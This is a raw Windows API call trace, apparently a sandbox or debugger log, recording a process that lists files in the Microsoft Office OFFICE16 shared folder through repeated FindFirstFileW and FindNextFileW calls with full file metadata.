	[0164.732] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1
	[0164.732] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75cf220, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1
	[0164.733] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf428c77b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1
	[0164.733] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1
	[0164.733] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf81bae82, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1
	[0164.733] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf22105da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1
	[0164.733] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf134fca5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1
	[0164.733] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1
	[0164.734] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf85e70a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1
	[0164.734] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf483611a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x72c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1
	[0164.734] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf89c6ded, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf89c6ded, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf969787e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1
	[0164.734] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68b32cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1
	[0164.734] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf81e1182, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf81e1182, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1
	[0164.734] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63c7502, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63c7502, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6439c09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1
	[0164.734] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf91acb76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1
	[0164.735] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf937677a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1
	[0164.735] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8a13295, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1
	[0164.735] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8c4f5e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1
	[0164.735] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27d1f57e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f02d8, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CMigrate.exe", cAlternateFileName="")) returned 1
	[0164.735] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa15225b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa15225b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3b740, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1
	[0164.735] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf19b820e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf19b820e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x46e460, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Csi.dll", cAlternateFileName="")) returned 1
	[0164.735] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc436e5a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Cultures", cAlternateFileName="")) returned 1
	[0164.736] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc436e5a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4141018
	[0164.736] FindNextFileW (in: hFindFile=0x4141018, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc436e5a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.736] FindNextFileW (in: hFindFile=0x4141018, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc442d119, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b82a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1
	[0164.736] FindNextFileW (in: hFindFile=0x4141018, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc442d119, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b82a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0
	[0164.736] FindClose (in: hFindFile=0x4141018 | out: hFindFile=0x4141018) returned 1
	[0164.736] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.736] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0164.736] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\en-us\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140dd8
	[0164.737] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.737] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f769a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oregres.dll.mui", cAlternateFileName="OREGRE~1.MUI")) returned 1
	[0164.737] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f769a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oregres.dll.mui", cAlternateFileName="OREGRE~1.MUI")) returned 0
	[0164.737] FindClose (in: hFindFile=0x4140dd8 | out: hFindFile=0x4140dd8) returned 1
	[0164.737] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.737] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1
	[0164.738] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xda54c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSO.DLL", cAlternateFileName="")) returned 1
	[0164.738] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d2060, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1
	[0164.738] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0147f8e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0147f8e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf016e209, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ff0c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1
	[0164.738] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSO40UIRES.DLL", cAlternateFileName="MSO40U~1.DLL")) returned 1
	[0164.738] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x632fb8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x632fb8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x632fb8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7112c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Mso40UIwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1
	[0164.738] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf71003, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x286f50d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x921260, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSO99LRES.DLL", cAlternateFileName="MSO99L~1.DLL")) returned 1
	[0164.739] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5127e7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5127e7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2878da68, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x591a60, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Mso99Lwin32client.dll", cAlternateFileName="MSO99L~2.DLL")) returned 1
	[0164.739] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefebf763, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a82fe42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e3e8c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1
	[0164.739] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c6cdcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c6cdcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c6cdcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x115c78, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="msoshext.dll", cAlternateFileName="")) returned 1
	[0164.739] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7642a1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7642a1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7642a1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd860, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1
	[0164.739] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x29f7370, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x29f7370, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x29aa07ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f2b0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1
